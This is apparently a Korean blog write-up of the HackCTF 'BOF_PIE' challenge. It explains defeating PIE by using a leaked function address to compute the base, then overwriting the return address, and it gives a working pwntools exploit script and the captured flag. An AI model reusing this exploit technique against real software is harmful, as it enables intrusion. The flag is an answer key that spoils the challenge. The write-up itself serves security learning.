raar 2020. 3. 9. 03:55

 

이번 문제는 BOF_PIE이다. 바이너리를 다운로드한 다음 실행시켜 보면,

 

 

 

 

"Hello, Do you know j0n9hyun?" 라는 문자열과 "j0n9hyun is (주소)"가 출력 된당 그리고 입력을 한 줄 받게 되는데 그냥 aaa 입력하면 

"Nah..."이라는 문자열과 함께 프로그램이 종료된다. 참고로 저기 주소 값은 실행할 때마다 바뀐다.

 

 

 

맨 뒤 909 만 계속 그대로고 앞에 주소는 계속 바뀌는 것을 확인 할 수 있는데 이는 PIE 기법이 걸려서 주소 값이 계속 랜덤 하게 바뀌기 때문이다. checksec으로 확인해 보면,

 

 

 

PIE 가 걸려 있음을 확인 할 수 있다. 이제 본격적으로 바이너리를 main 함수부터 보면,

 

 

 

메인 함수 처음 부터 welcome 함수를 호출하는 것을 볼 수 있다. welcome 함수로 들어가 보면,

 

 

 

welcome 함수의 주소를 출력해 줌을 확인 할 수 있다. 여기서 출력되는 welcome 함수의 주소를 처음 여러 번 실행했을 때 보았듯이 PIE 오인해 뒤에 3자리만 빼고 랜덤 하게 바뀌어서 출력된다. 그리고 하나 더, 해당 바이너리에는 j0n9hyun 이라는 함수가 있다. 이 함수를 보면,

 

 

 

flag를 출력 해 주는 함수 임을 알 수 있다. 우리는 이 j0n9hyun 함수를 실행하기 위해서 이 함수의 주소를 알아내야 한다.

우리에게 주어 진 것은 welcome 함수에서 출력된 welcome 함수의 랜덤화 된 주소와 각 함수들의 base 주소로부터 떨어진 offset( 거리 )들이다. 함수들의 offset들은 다음과 같다.

 

 

 

 

아까도 말했듯이 저 주소 base 주소로 부터 떨어진 offset 들이다. 이 offset 들은 아무리 바이너리를 실행하여 주소가 바뀌더라도 똑같기 때문에 우리에게 주어진 welcome 함수의 랜덤화 된 주소 - welcome 함수 offset 연산을 하면 base 주소를 구할 수 있다. 그리고 구한 base 주소에서 j0n9hyun의 offset을 더하면 j0n9hyun의 주소를 구할 수 있당

 

대충 시나리오를 정리해 보면, welcome 함수에서 구한 welcome 함수의 주소에서 welcome 함수의 offset을 빼 base 주소를 구한 다음 j0n9hyun의 offset을 더해 j0n9hyun의 주소를 구한 다음 scanf 입력을 통해 버퍼와 sfp를 덮은 다음 ret주소를 j0n9hyun주소로 덮어 주면 된다.

 

익스 코드는 다음과 같다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
 
#p = process("./bof_pie")
= remote("ctf.j0n9hyun.xyz"3008)
elf = ELF("./bof_pie")
 
p.recvuntil("j0n9hyun is ")
 
welcome = int(p.recv(10),16)
base = welcome - elf.symbols['welcome']
j0n9hyun = base + elf.symbols['j0n9hyun']
 
payload = ''
payload += 'A'*0x12
payload += 'B'*4
payload += p32(j0n9hyun)
 
p.sendline(payload)
 
p.interactive()

 

flag는 다음과 같당

 

 

FLAG : HackCTF{243699563792879976364976468837}